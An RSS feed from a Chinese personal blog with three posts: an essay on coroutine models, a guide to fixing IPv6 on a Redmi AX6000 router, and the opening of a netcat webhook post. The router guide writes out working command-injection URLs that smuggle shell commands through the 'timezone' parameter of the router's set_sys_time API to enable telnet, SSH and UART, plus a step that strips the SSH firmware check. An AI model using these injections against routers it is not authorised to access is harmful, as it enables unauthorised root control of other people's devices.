<?xml version="1.0" encoding="utf-8" standalone="yes"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/">
  <channel>
    <title>Posts on SteveHawk&#39;s Blog</title>
    <link>https://sttev.com/posts/</link>
    <description>Recent content in Posts on SteveHawk&#39;s Blog</description>
    <generator>Hugo -- gohugo.io</generator>
    <language>zh-cn</language>
    <managingEditor>steve@sttev.com (SteveHawk)</managingEditor>
    <webMaster>steve@sttev.com (SteveHawk)</webMaster>
    <copyright>SteveHawk · [CC BY-SA 4.0](https://creativecommons.org/licenses/by-sa/4.0/)</copyright>
    <lastBuildDate>Wed, 24 Dec 2025 20:00:00 +0800</lastBuildDate>
    <atom:link href="https://sttev.com/posts/index.xml" rel="self" type="application/rss+xml" />
    <item>
      <title>协程</title>
      <link>https://sttev.com/posts/46-coroutine/</link>
      <pubDate>Wed, 24 Dec 2025 20:00:00 +0800</pubDate><author>steve@sttev.com (SteveHawk)</author>
      <guid>https://sttev.com/posts/46-coroutine/</guid>
      <description>&lt;p&gt;我很喜欢协程。最早接触到协程的概念是在 2019 年，那时因为课程项目使用 Go 语言，见识到了 Goroutine 的强大。后来工作上主力用 Python，也逐渐开始深度了解和使用 asyncio。最近又研究了下 Gleam 这门新语言（披着 Rust 皮的 Erlang），对 Gleam/Erlang 的协程模型也有了一些了解。于是趁这个机会，写一写我对协程的理解和看法。&lt;/p&gt;</description>
      <content:encoded><![CDATA[<p>我很喜欢协程。最早接触到协程的概念是在 2019 年，那时因为课程项目使用 Go 语言，见识到了 Goroutine 的强大。后来工作上主力用 Python，也逐渐开始深度了解和使用 asyncio。最近又研究了下 Gleam 这门新语言（披着 Rust 皮的 Erlang），对 Gleam/Erlang 的协程模型也有了一些了解。于是趁这个机会，写一写我对协程的理解和看法。</p>
<h2 id="何谓协程">何谓协程</h2>
<p>维基百科的<a href="https://en.wikipedia.org/wiki/Coroutine">协程</a>条文说道：</p>
<blockquote>
<p>There is no single precise definition of coroutine.</p>
</blockquote>
<p>确实是这样，这个概念本身出现了好几十年，在不同的语言、不同的库里有五花八门的实现，大家都有不同的理解。维基百科的条文引用了一些古老的文献书籍，给出的定义相当晦涩难懂。</p>
<p>在我看来，协程就是（或者近似于）一个轻量的用户态线程，能够以很小的开销实现异步执行。</p>
<p>系统级/内核级线程虽然相较进程更轻量（除了 Python 用户估计也没人会纠结多进程吧），但是依然有不少开销。线程切换的时候，内核需要亲自出场确认中断和上下文没有问题；线程分配内存的时候，最小的单元也得是一个内存页。另外因为操作系统需要健壮地运行各种线程（无论好的坏的会崩溃的），所以还需要分配很多资源进行防御操作，防止一个线程把整个系统搞挂。</p>
<p>而协程通常是运行在线程内部，协程切换对操作系统完全无感，内存分配也可以任意小。另外因为每一门语言都有自己的规则和限制，所以只需要很少的状态就可以表达一个协程。这样一来，协程的轻量级优势让它比系统原生内核线程的性能要好上不少，几乎没有理由不用。</p>
<h2 id="命名">命名</h2>
<p>一定有非常 pedantic 的老学究可以从我上面的解释里挑出很多刺，比如 <a href="https://stackoverflow.com/questions/18058164/is-a-go-goroutine-a-coroutine">Goroutine 压根不是 Coroutine</a>！</p>
<p>协程生态里的命名是我最头疼的一件事情。一堆非常相似的东西，但是有细微的差别，因此有不同的名字。同一个东西在不同语言或者不同库里，也会被叫作不同的名字。</p>
<p><a href="https://en.wikipedia.org/wiki/Coroutine">Coroutine</a>, <a href="https://en.wikipedia.org/wiki/Go_(programming_language)#Concurrency">goroutine</a>, <a href="https://en.wikipedia.org/wiki/Fiber_(computer_science)">fiber</a>, <a href="https://en.wikipedia.org/wiki/Green_thread">green thread</a>, <a href="https://en.wikipedia.org/wiki/Virtual_thread">virtual thread</a>, <a href="https://en.wikipedia.org/wiki/Light-weight_process">lightweight process</a>，这些概念都是描述这群相似的“轻量用户态线程”，但是又没有一个概括性的词描述他们。</p>
<p>看起来大趋势是，大家都开始习惯用协程（Coroutine）来概括这群东西。但是问题是，协程的协（<strong>Co</strong>-routine）代表协作（<strong>Co</strong>-operative）的意思，不是协作式的（比如 Golang，后面细说）怎么也能叫协程？也见过有人会用 Green thread 概括，但是绿色线程也是协作式的！</p>
<p>感觉我也陷入了 pedantic 的圈套。我们真的非常需要一个真正有概括性的、朗朗上口的名字了。在这个名字诞生之前，我决定还是把他们都叫作协程。（所以这篇文章标题叫协程啊哈哈）</p>
<p>现在我们知道不同实现的协程有很多微妙的差别，下面就按几个常见的分类维度展开讲讲。</p>
<h2 id="协作抢占">协作/抢占</h2>
<p>协作式（Cooperative）和抢占式（Preemptive）是协程最常见也是最有趣的分类维度。这两者的区别在于，协程是自愿（协作式地）交出控制权，还是被动（抢占式地）失去控制权。</p>
<h3 id="协作式">协作式</h3>
<p>对于 Javascript/Rust 使用的这些 async/await 形式的协程，他们都是协作式的。每一个 async 定义的函数都是一个协程，在这个协程里 await 另一个协程的时候，就意味着交出了控制权，由调度器决定接下来运行哪个协程。只要协程不 await，那这个线程里就只会一直执行这个协程，其他协程都得等（或者多线程调度器的话，只能放到别的线程跑）。</p>
<p>Python 虽然和 JS/Rust 一样是使用 async/await 语法的协作式协程，但不同的是，协程交出控制权的位置并不是 await，而是 yield（<a href="https://stackoverflow.com/questions/59586879/does-await-in-python-yield-to-the-event-loop/59780868#59780868">1</a>，<a href="https://stackoverflow.com/questions/59996493/does-await-always-give-other-tasks-a-chance-to-execute/60004721#60004721">2</a>，<a href="https://mergify.com/blog/await-is-not-a-context-switch-understanding-python-s-coroutines-vs-tasks">3</a>）。只有在 await 的目标执行 yield 的时候，才会让上层协程暂停执行交出控制权。如果代码执行中没有碰到 yield，那就算 await 了也不会交出控制权到调度器。Python 的命名也有一些误导，Python 里的 coroutines 只是一个戴着面具的生成器，asyncio.Task 才更接近本文讨论的协程的概念。</p>
<p>这里也催生了一些有趣的技巧，比如新建了一个任务，想要尽快执行怎么办？可以在建立任务后使用 <code>await asyncio.sleep(0)</code> （底下就是一个 yield）主动交出一下控制权，如果事件循环空闲的话这个任务就会立刻开始运行。这对于 IO 类的任务来说非常合适，可以尽快先运行到阻塞的地方等着，这个时间正好回去干正事。（不过 Python 3.14 的 <code>create_task</code> 增加了 <code>eager_start</code> 选项，可以指定 task 立刻执行了）</p>
<h3 id="抢占式">抢占式</h3>
<p>Go 和 Erlang 则实现了抢占式的协程。从使用体感上来说，这种协程和线程几乎没有什么两样，就是创建一个协程，然后扔给调度器跑。我们并不知道什么时候会运行哪个协程，反正调度器会安排。那调度器是怎么安排的呢？我们刚才看到 JS/Rust/Python 都是在 await（或者 yield）的位置主动交出控制权，所以叫协作式；那我们顺理成章推测，抢占式意味着调度器不需要协程同意，可以类似于系统线程一样直接中断执行，进行上下文切换。</p>
<p>这个推测非常有道理，表现上来看也确实是这样，但是底层实现其实没有那么简单。查找 Erlang process（对，Erlang 的协程叫 process&hellip;）相关资料的时候，经常会看到相互矛盾的讲法，有些人说 Erlang process 是协作式，有些人说是抢占式。怎么回事？介绍 Erlang BEAM 虚拟机的书 <a href="https://blog.stenmans.org/theBeamBook/">The BEAM Book</a> 在<a href="https://blog.stenmans.org/theBeamBook/#CH-Scheduling">第十章</a>深入介绍了 Erlang/BEAM 的协程机制。其中讲到：</p>
<blockquote>
<p>The preemptive multitasking on the Erlang level is achieved by cooperative multitasking on the C level. The Erlang language, the compiler and the virtual machine works together to ensure that the execution of an Erlang process will yield within a limited time and let the next process run.</p>
<p>&hellip;</p>
<p>One can describe the scheduling in BEAM as <strong>preemptive scheduling on top of cooperative scheduling</strong>. A process can only be suspended at certain points of the execution, such as at a receive or a function call. In that way the scheduling is cooperative&mdash;a process has to execute code which allows for suspension.</p>
</blockquote>
<p>这讲得很明白了。原来 Erlang process 只是披着抢占式的皮，实际上底层还是协作式的！大概类似于所有的函数都默认是 async，所有的函数调用都默认 await，只是不用写出来，但是执行的时候依然是在这些（所有的）函数调用的地方交出控制权，让调度器决定接下来跑谁。调度器采用了一个叫作 reduction counting 的方法来计算协程的用量，基本上就是协程能够调用函数次数的额度。这里的 reduction 名字是从早期 Prolog 版本的 Erlang 来的，Prolog 的每一个执行步骤都叫作规约 reduction。这个名字沿用至今，在这里<a href="https://blog.stenmans.org/theBeamBook/#_what_is_a_reduction_really">约等于函数调用</a>。额度早期为 2000，现在是 4000，意味着一个协程调用函数超过 4000 次（或者 IO 阻塞），就会被调度器暂停执行（并恢复额度），换其他协程执行。</p>
<p>那这披着抢占式皮的协作式协程，相比之前纯协作式的有什么区别？在我看来，主要的两大优势在于不用用户操心调度，以及没有函数染色问题（后面再细讲）。</p>
<p>再看 Go 这里，goroutine 的实现是怎么样的呢？神奇的是，直到 2020 年的 <a href="https://go.dev/doc/go1.14#runtime">Go 1.14</a> 才引入了真正的异步抢占机制。意味着在这之前（包括我 2019 年刚接触 Go 的时候）goroutine 和 Erlang process 一样，底层其实是协作式的！相较 Erlang 的函数调用计数，Go 采用了 10ms 的时间分片，一个协程运行超过 10ms（或者 IO 阻塞）就会被调度器暂停执行，切换别人。但是这样存在一个问题：如果一个协程里有一个长循环，但是一直不调用任何函数，那就会直接阻塞整条线程，因为调度器没有办法真的半路暂停这个协程的执行。</p>
<p>等等！为什么 Go 有这个问题，Erlang 没事呢？巧了，Erlang（当然也包括 Elixir 和 Gleam）作为函数式语言，压根没有循环（for，while 等），所有的循环都得要靠递归实现，这样一来自然没有办法长时间运行而不调用任何函数。虽然一些 FFI 情况下还是可能会阻塞，但是总体上问题不大。而 Go 就没办法绕过这个问题了，所以后来 Go 1.14 终于引入了真正的抢占机制，利用 SIGURG 这个信号通知协程中断执行，保存栈上下文然后交出控制权。</p>
<p>所以<a href="https://stackoverflow.com/questions/73915144/why-is-go-considered-partially-preemptive/73932230#73932230">有人</a>把 Erlang 和以前的 Go 的方式叫作 cooperative preemption 协作式抢占，而现在的 Go 叫作 non-cooperative preemption 非协作式抢占（抢占式抢占？lol）。</p>
<h2 id="有栈无栈">有栈/无栈</h2>
<p>另一种常见的分类，是把协程分为有栈协程（stackful coroutine）和无栈协程（stackless coroutine）。顾名思义，有栈协程有自己独立的调用栈，就算在嵌套函数调用中也可以暂停执行交出控制权；而无栈协程没有自己的栈，只能共享主线程的栈，因此也只能在最上层移交控制权。</p>
<p>碰巧的是，上一节提到的协作式协程都是无栈协程，抢占式协程都是有栈协程。对于那些采用 async/await 语法的协程实现来说，正好协程都是以单个函数为单位，调用其他协程必定要交出控制权，因此不存在嵌套调用，无须额外存一个调用栈，因此他们都是无栈协程。至于无栈协程是不是都是协作式，我想抢占式估计也是可以实现，但是那样好像会引入太多复杂度？对于有栈协程，只是碰巧这次举的两个例子都是抢占式，实际上协作式也完全没有问题（你看 Erlang 不其实本质还是协作式嘛，改成真的协作式当然没问题）。</p>
<p>总结来讲，无栈协程主要就是这些 async/await 形式的协程，而有栈协程就是更类似线程形式的那种协程。</p>
<h2 id="有调度器无调度器">有调度器/无调度器</h2>
<p>有无调度器是一个蛮有意思的角度。在这篇 <a href="https://www.open-std.org/jtc1/sc22/wg21/docs/papers/2014/n4024.pdf">Distinguishing coroutines and fibers</a> 文章里，作者对比了 C++ Boost 库里实现的 coroutine 和 fiber 的区别。其中就提到，fiber 是有调度器的，而 coroutine 没有调度器也不需要调度器。</p>
<p>根据这篇文章对这个语境下 coroutine 的介绍，我感觉这其实和 Python 的 coroutine 概念很像，只是一个披着协程皮的生成器而已。这里的 coroutine 只是意味着函数之间可以交替执行，即协作式多任务，而不是真正意义上的并发执行。而这里的 fiber 应该是一个协作式的有栈协程。</p>
<p>要从“多任务”进化到并发，以我的理解，调度器应该是必不可少的，至少也得要有一个事件循环这样的简单调度器。</p>
<h2 id="并行并发">并行/并发</h2>
<p>要从并发进化到并行，那光事件循环可能就不够了。</p>
<p>Python/JS 的协程都是运行在一个事件循环（event loop）上，可以是内置实现，或是其他实现比如 Linux 内核的 <a href="https://en.wikipedia.org/wiki/Io_uring">io_uring</a>。事件循环本质上其实就是个任务队列，负责追踪协程任务，把准备好的协程取出来运行，把等待阻塞的协程扔回队列。事件循环的功能太过于简陋，只能应付单线程上的并发任务，并没有足够的能力高效运行多线程的并行任务。</p>
<p>多线程场景下，包括 Rust/Go/Erlang，都实现了工作窃取（work stealing）机制。每个线程都有一个独立的任务队列，但是显然这样容易分配不均，某些线程已经提前完成任务进入空闲，但是有些线程还在忙碌。工作窃取机制这时候会让空闲的线程去其他线程的任务队列窃取任务，确保所有线程都能保持忙碌。</p>
<h2 id="染色问题">染色问题</h2>
<p>最后聊聊臭名昭著的<a href="https://journal.stuffwithstuff.com/2015/02/01/what-color-is-your-function/">函数染色问题</a>。在这篇文章里，作者把异步函数描述为红色函数，同步函数描述为蓝色函数。只有红色函数可以调用红色和蓝色函数，蓝色函数只能调用蓝色函数（只有异步函数可以调用异步函数和同步函数，同步函数只能调用同步函数）。因为异步函数必须要被 await，而只有异步函数可以 await 别人，同步函数不可以，这确实是使用 async/await 语法的协程（无栈协程）共有的痛点。对于新项目，如果规划好要用异步，那从头全部都用异步就行。但是就怕一个同步的老项目引入异步依赖，那这就红蓝火葬场了。</p>
<p>正如作者所说，Go/Erlang/Lua/Ruby 这类有栈协程的设计避免了染色问题。也很好理解，有栈协程的语法通常都类似于启动一个线程，而不用给函数标注是否 async，也就是上色。在有栈协程的眼里，所有的函数都是平等无色的，不用纠结谁能不能调用谁。无栈协程最大的问题就是把协程和函数糅在了一起，同步和异步世界都在函数上，两者要交互势必没法躲开染色；有栈协程的协程和函数是泾渭分明的两个东西，异步世界与函数无关，和同步世界的交互依赖共享内存或者通道等方式，也就不会把函数扯进来。</p>
<p>硬要说的话，有栈协程的开销应该是比无栈协程大一些的。这可以说是用一些运行时的开销，换取了函数的无色吧。</p>
<h2 id="尾声">尾声</h2>
<p>正如开头所说，我很喜欢协程，我觉得基于协程的异步编程是绝对的未来。Coroutine is goated！</p>
]]></content:encoded>
    </item>
    <item>
      <title>修复 Redmi AX6000 IPv6 问题</title>
      <link>https://sttev.com/posts/45-redmi-ax6000-fix-ipv6/</link>
      <pubDate>Fri, 15 Aug 2025 19:00:00 +0800</pubDate><author>steve@sttev.com (SteveHawk)</author>
      <guid>https://sttev.com/posts/45-redmi-ax6000-fix-ipv6/</guid>
      <description>&lt;h2 id=&#34;背景&#34;&gt;背景&lt;/h2&gt;&#xA;&lt;p&gt;自从手机升级到安卓 15，在家里的 Wi-Fi 网络下就连不通 IPv6 了。实际表现是能获取 IPv6 地址，但是获取不到 IPv6 默认网关，于是无法通过 IPv6 联网。一番探究以后发现，罪魁祸首是家里这台 Redmi AX6000 路由器不标准的路由器通告（RA）。&lt;/p&gt;</description>
      <content:encoded><![CDATA[<h2 id="背景">背景</h2>
<p>自从手机升级到安卓 15，在家里的 Wi-Fi 网络下就连不通 IPv6 了。实际表现是能获取 IPv6 地址，但是获取不到 IPv6 默认网关，于是无法通过 IPv6 联网。一番探究以后发现，罪魁祸首是家里这台 Redmi AX6000 路由器不标准的路由器通告（RA）。</p>
<p>在安卓 15 的兼容性定义文档里有这么一段：（<a href="https://source.android.com/docs/compatibility/15/android-15-cdd#7452_ipv6">Android 15 Compatibility Definition</a>）</p>
<blockquote>
<p>[C-0-5] Rate-limiting MUST NOT cause the device to lose IPv6 connectivity on any IPv6-compliant network that uses RA lifetimes of at least 180 seconds.</p>
</blockquote>
<p>其实这段说明从安卓 6.0 开始到现在的安卓 16 都有，看来只是从安卓 15 开始，安卓系统会忽略生命周期小于 180s 的路由器通告，导致系统无法获取网关。安卓的 issue tracker 上能看到一些相关的报告：<a href="https://issuetracker.google.com/issues/407202062">[Android 15] [Wi-Fi] Unable to open IPV6 website due to incorrect router lifetime settings in IPV6 RA</a>，<a href="https://issuetracker.google.com/issues/428412059">IPv6 RA with AdvDefaultLifetime less than 180s not accepted by Android</a>。</p>
<p>小米官方对此的回应：（<a href="https://web.vip.miui.com/page/info/mio/mio/detail?postId=47604571">关于澎湃2.0-安卓15的ipv6</a>）</p>
<blockquote>
<p>Android15对IPv6租约时间过低有限制，有些不太规范的路由可能有点问题。后续OTA我们会优化这个问题。</p>
</blockquote>
<p>显然是我这台路由器的 RA 报文存在问题。</p>
<p>回应的部门竟然是小米手机系统团队，而不是小米路由器团队，仿佛是默认全天下用小米路由器的都是小米手机。自从 2024 年 10 月安卓 15 正式发布，至今将近两年时间里小米路由器团队都没有做出任何回应，也没有推出任何固件更新，意见反馈也是石沉大海。</p>
<h2 id="方案">方案</h2>
<p>对小米路由器有一些了解的人应该都知道，小米路由器的固件一般都是基于 OpenWrt 魔改的。所以如果能 SSH 进入路由器的话，修改一些配置应该就能解决问题吧！</p>
<p>果然有论坛老哥给出了解决方法：（<a href="https://web.vip.miui.com/page/info/mio/mio/detail?postId=49966524">安卓15无法使用ipv6的问题，本文适用进到SSH的路由器</a>，<a href="https://web.vip.miui.com/page/info/mio/mio/detail?postId=49708613">澎湃os2遇上小米路由器时ipv6无法访问的解决方法</a>）</p>
<blockquote>
<p>vim /etc/config/dhcp</p>
<p>去看它的config dhcp &rsquo;lan&rsquo;段落</p>
<p>直接加一行</p>
<p>option ra_lifetime &lsquo;1800&rsquo;</p>
<p>保存重启就可以了</p>
</blockquote>
<p>够简单！只要能够解锁路由器的 SSH，就能轻易解决问题了。</p>
<p>（顺便一提，这里 <code>ra_lifetime</code> 使用的数值 1800 确实是 <a href="https://openwrt.org/docs/techref/odhcpd#dhcp_section">OpenWrt odhcpd</a> 使用的默认值。）</p>
<h2 id="解锁后台访问">解锁后台访问</h2>
<p>巧的是，Redmi AX6000 有非常现成且简便的解锁 SSH/Telnet 的方法。参考：</p>
<ul>
<li><a href="https://openwrt.org/toh/xiaomi/redmi_ax6000">[OpenWrt Wiki] Xiaomi Redmi AX6000</a></li>
<li><a href="https://www.right.com.cn/forum/thread-8253195-1-1.html">【解锁SSH】红米Redmi AX6000开启并固化SSH、Telnet的简单方法（RB06）</a></li>
<li><a href="https://www.right.com.cn/forum/thread-8253125-1-1.html">【保姆级教程】红米AX6000永久获取SSH权限（Redmi AX6000）</a></li>
</ul>
<hr>
<p>首先利用 <code>set_sys_time</code> 脚本的 RCE 漏洞启用开发模式。登录路由器网页管理界面，从 URL 获取 <code>stok</code> 以后访问：（<code>stok</code> 填入 <code>{token}</code> 位置）</p>

<style>
  .code-wrap-div code { text-wrap: wrap }
</style>
<div class="code-wrap-div">






<pre tabindex="0"><code class="language-url" data-lang="url">http://192.168.31.1/cgi-bin/luci/;stok={token}/api/misystem/set_sys_time?timezone=%20%27%20%3B%20echo%20pVoAAA%3D%3D%20%7C%20base64%20-d%20%7C%20mtd%20write%20-%20crash%20%3B%20</code></pre><p><code>timezone</code> 参数传入的字符串为 <code>' ; echo pVoAAA== | base64 -d | mtd write - crash ;</code>，实际相当于把 <code>\xa5\x5a\x00\x00</code> 写入 <code>crash</code> 分区，启用开发者模式，这样接下来可以持久化地写入 <code>bdata</code> 分区。</p>
<p>网页会返回 <code>{&quot;code&quot;:0}</code> 表示执行成功。</p>
<p><strong>或者</strong>也可以访问：</p>





<pre tabindex="0"><code class="language-url" data-lang="url">http://192.168.31.1/cgi-bin/luci/;stok={token}/api/misystem/set_sys_time?timezone=%20%27%20%3B%20zz%3D%24%28dd%20if%3D%2Fdev%2Fzero%20bs%3D1%20count%3D2%202%3E%2Fdev%2Fnull%29%20%3B%20printf%20%27%A5%5A%25c%25c%27%20%24zz%20%24zz%20%7C%20mtd%20write%20-%20crash%20%3B%20</code></pre><p><code>timezone</code> 传入的字符串为 <code>' ; zz=$(dd if=/dev/zero bs=1 count=2 2&gt;/dev/null) ; printf '¥Z%c%c' $zz $zz | mtd write - crash ;</code>，和上面的 URL 一样是用来写入魔法二进制字节，只是用了不同方法造字节串。</p>
<p>接着注入重启指令：</p>





<pre tabindex="0"><code class="language-url" data-lang="url">http://192.168.31.1/cgi-bin/luci/;stok={token}/api/misystem/set_sys_time?timezone=%20%27%20%3b%20reboot%20%3b%20</code></pre><p><code>timezone</code> 传入字符串为 <code>' ; reboot ;</code>，执行重启。完成重启后，我们就获得了 <code>bdata</code> 分区的写入能力。</p>
<hr>
<p>重新登录，从 URL 获取新的 <code>stok</code>。访问：</p>





<pre tabindex="0"><code class="language-url" data-lang="url">http://192.168.31.1/cgi-bin/luci/;stok={token}/api/misystem/set_sys_time?timezone=%20%27%20%3B%20bdata%20set%20telnet_en%3D1%20%3B%20bdata%20set%20ssh_en%3D1%20%3B%20bdata%20set%20uart_en%3D1%20%3B%20bdata%20commit%20%3B%20</code></pre><p><code>timezone</code>  传入的字符串为 <code>' ; bdata set telnet_en=1 ; bdata set ssh_en=1 ; bdata set uart_en=1 ; bdata commit ;</code>，向 <code>bdata</code> 分区写入启用 Telnet、SSH 和 UART 的配置。</p>
<p>再一次注入重启指令，执行重启：</p>





<pre tabindex="0"><code class="language-url" data-lang="url">http://192.168.31.1/cgi-bin/luci/;stok={token}/api/misystem/set_sys_time?timezone=%20%27%20%3b%20reboot%20%3b%20</code></pre>
</div>

<p>重启完成后，Telnet 就成功启用了。SSH 服务启动有一些额外判定，还需要后面更多操作才能启用。</p>
<hr>
<p>此时可以直接 <code>telnet 192.168.31.1</code> 进入路由器后台了，在开发模式下无须密码。（所以为什么等下一定要记得关掉开发模式）</p>
<p>先执行 <code>passwd root</code> 更改 root 密码。不改的话，默认密码也可以在 <a href="https://miwifi.dev/ssh">miwifi.dev</a> 通过路由器的 SN 码计算出来。</p>
<p>大部分教程在这一步会叫你向 nvram 写入“固化SSH”的配置（<code>nvram set ssh_en=1; nvram set telnet_en=1; nvram set uart_en=1; nvram set boot_wait=on; nvram commit</code>），实际上好像并不需要。我的路由器默认 <code>uart_en</code> 和 <code>boot_wait</code> 均已启用，虽然 <code>ssh_en</code> 和 <code>telnet_en</code> 是 0，但实际上并不影响这两者的开启（我们这不是已经用上 Telnet 了吗）。按其他资料来看，“固化”其实是写入 <code>bdata</code> 分区，我们上一步就已经写好了。</p>
<p>接着复原现场，因为之前利用时区接口的漏洞破坏了相关设置，所以需要恢复时间设置：</p>





<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">uci <span class="nb">set</span> system.@system<span class="o">[</span>0<span class="o">]</span>.timezone<span class="o">=</span><span class="s1">&#39;CST-8&#39;</span>
</span></span><span class="line"><span class="ln">2</span><span class="cl">uci <span class="nb">set</span> system.@system<span class="o">[</span>0<span class="o">]</span>.webtimezone<span class="o">=</span><span class="s1">&#39;CST-8&#39;</span>
</span></span><span class="line"><span class="ln">3</span><span class="cl">uci <span class="nb">set</span> system.@system<span class="o">[</span>0<span class="o">]</span>.timezoneindex<span class="o">=</span><span class="s1">&#39;2.84&#39;</span>
</span></span><span class="line"><span class="ln">4</span><span class="cl">uci commit</span></span></code></pre></div><p>最后关闭开发模式并重启：</p>





<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">mtd erase crash
</span></span><span class="line"><span class="ln">2</span><span class="cl">reboot</span></span></code></pre></div><hr>
<p>至此，我们已经拿到完整的后台 root 权限啦。<code>telnet 192.168.31.1</code> 输入 root 用户，使用默认密码或者刚才改过的密码就可以登录了。</p>
<p>用 Telnet 已经足够进行配置编辑了。不过 Telnet 没有加密，长期用的话确实是个安全隐患，最好是启用 SSH。打开 <code>dropbear</code> SSH 服务的启动脚本，找到 <code>start_service</code> 函数：</p>





<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln"> 1</span><span class="cl">start_service<span class="o">()</span>
</span></span><span class="line"><span class="ln"> 2</span><span class="cl"><span class="o">{</span>
</span></span><span class="line"><span class="ln"> 3</span><span class="cl">        <span class="c1"># 稳定版不能打开ssh服务</span>
</span></span><span class="line"><span class="ln"> 4</span><span class="cl">        <span class="nv">flg_ssh</span><span class="o">=</span><span class="sb">`</span>nvram get ssh_en<span class="sb">`</span>
</span></span><span class="line"><span class="ln"> 5</span><span class="cl">        <span class="nv">channel</span><span class="o">=</span><span class="sb">`</span>/sbin/uci get /usr/share/xiaoqiang/xiaoqiang_version.version.CHANNEL<span class="sb">`</span>
</span></span><span class="line"><span class="ln"> 6</span><span class="cl">        <span class="k">if</span> <span class="o">[</span> <span class="s2">&#34;</span><span class="nv">$flg_ssh</span><span class="s2">&#34;</span> !<span class="o">=</span> <span class="s2">&#34;1&#34;</span> -o <span class="s2">&#34;</span><span class="nv">$channel</span><span class="s2">&#34;</span> <span class="o">=</span> <span class="s2">&#34;release&#34;</span> <span class="o">]</span><span class="p">;</span> <span class="k">then</span>
</span></span><span class="line"><span class="ln"> 7</span><span class="cl">                <span class="k">return</span> <span class="m">0</span>
</span></span><span class="line"><span class="ln"> 8</span><span class="cl">        <span class="k">fi</span>
</span></span><span class="line"><span class="ln"> 9</span><span class="cl">
</span></span><span class="line"><span class="ln">10</span><span class="cl">        <span class="o">[</span> -s /etc/dropbear/dropbear_rsa_host_key <span class="o">]</span> <span class="o">||</span> keygen
</span></span><span class="line"><span class="ln">11</span><span class="cl">
</span></span><span class="line"><span class="ln">12</span><span class="cl">        . /lib/functions.sh
</span></span><span class="line"><span class="ln">13</span><span class="cl">        . /lib/functions/network.sh
</span></span><span class="line"><span class="ln">14</span><span class="cl">
</span></span><span class="line"><span class="ln">15</span><span class="cl">        config_load <span class="s2">&#34;</span><span class="si">${</span><span class="nv">NAME</span><span class="si">}</span><span class="s2">&#34;</span>
</span></span><span class="line"><span class="ln">16</span><span class="cl">        config_foreach dropbear_instance dropbear
</span></span><span class="line"><span class="ln">17</span><span class="cl"><span class="o">}</span></span></span></code></pre></div><p>拦路虎很明显是 <code>if [ &quot;$flg_ssh&quot; != &quot;1&quot; -o &quot;$channel&quot; = &quot;release&quot; ]</code>，这里做了两个检查，一个是判断 nvram 的 <code>ssh_en</code> 是否启用，一个是判断当前固件是否为稳定版固件（可以参考这篇<a href="https://web.vip.miui.com/page/info/mio/mio/detail?postId=2808939">帖子</a>）。很多教程费力启用 <code>ssh_en</code> 再用 sed 把 <code>release</code> 改掉，其实直接删掉这三行 if 块即可。</p>
<p>去除拦路虎以后，执行 <code>/etc/init.d/dropbear start</code> 就可以启动 <code>dropbear</code> SSH 服务了。因为这还在使用过时的 ssh-rsa 算法，所以需要使用 <code>ssh -oHostKeyAlgorithms=+ssh-rsa root@192.168.31.1</code> 连接。输入默认 root 密码或者刚才改过的密码，就可以登录啦。</p>
<p>不过这样只是临时启动 SSH 而已。<code>/etc/init.d/dropbear</code> 重启以后就会重置，所以改动不是持久化的。想要开机自启动 SSH 的话，可以使用 <a href="https://github.com/lemoeo/AX6S">lemoeo/AX6S</a> 这个项目的 <code>auto_ssh.sh</code> 脚本。依照 README 下载后执行 <code>./auto_ssh.sh install</code> 即可。（不过用 auto_ssh 的话就需要给 nvram 设置 <code>ssh_en=1</code> 了）</p>
<hr>
<p>最后的最后，让我们完成一开始的目标：增加 <code>ra_lifetime</code> 配置。</p>
<p>用 Telnet 或者 SSH 登录，编辑 <code>/etc/config/dhcp</code>，在 <code>config dhcp 'lan'</code> 块的最后增加 <code>option ra_lifetime '1800'</code>，保存重启，大功告成。</p>
<p>打开手机验证一下，终于能够正确拿到 IPv6 网关地址了，<a href="https://test-ipv6.com/">test-ipv6</a> 达成 10/10。</p>
<h2 id="尾声">尾声</h2>
<p>经历了团队重组的小米路由器，在几年（2020-2023？）的高光后，又回到了仿佛 2016-2019 年那段管生不管养的日子。对于路由器这种长寿命产品，后续维护的价值几乎可以超过产品本身。但是小米路由器既没有长期维护，系统也非常封闭，还得感谢社区的逆向工程才能彻底解放硬件。结合最近的一些硬件混用等新闻，几乎可以说是 <a href="https://en.wikipedia.org/wiki/Enshittification">Enshittification</a> 了。</p>
<p>看来，以后路由器还是得选更专业、更开放的品牌啊。</p>
]]></content:encoded>
    </item>
    <item>
      <title>用 netcat 实现简单 webhook</title>
      <link>https://sttev.com/posts/44-netcat-webhook/</link>
      <pubDate>Thu, 24 Jul 2025 19:00:00 +0800</pubDate><author>steve@sttev.com (SteveHawk)</author>
      <guid>https://sttev.com/posts/44-netcat-webhook/</guid>
      <description>&lt;h2 id=&#34;需求&#34;&gt;需求&lt;/h2&gt;&#xA;&lt;p&gt;最近在折腾 DIY 异地备份，从本地 NAS 上远程备份到一个装着 SSD 的单板机上。出于温度、功耗、风扇寿命等等各种考量，希望在每次备份任务结束以后远程系统能自动关机。&lt;/p&gt;</description>
      <content:encoded><![CDATA[<h2 id="需求">需求</h2>
<p>最近在折腾 DIY 异地备份，从本地 NAS 上远程备份到一个装着 SSD 的单板机上。出于温度、功耗、风扇寿命等等各种考量，希望在每次备份任务结束以后远程系统能自动关机。</p>
<p>（搭配了一个米家智能插座，定时上电单板机会自动启动，然后搭配充电保护功能，在单板机关机后自动关闭电源，这样一来自动化流程完美闭环。）</p>
<p>因为备份软件支持在任务结束以后调用自定义脚本，于是很容易地想到可以开一个 webhook，任务结束以后调用一下关机接口。现成的方案很成熟，比如这个项目 <a href="https://github.com/adnanh/webhook">adnanh/webhook</a>，但是对于我这简单到不能再简单的需求来说，这个“轻量级”的 webhook 实现还是略显沉重。之前浅浅了解过 netcat 这个工具，正好借这个机会深入了解一下，手搓一个 webhook 吧！</p>
<h2 id="netcat-入门">Netcat 入门</h2>
<blockquote>
<p><a href="https://en.wikipedia.org/wiki/Netcat">https://en.wikipedia.org/wiki/Netcat</a></p>
</blockquote>
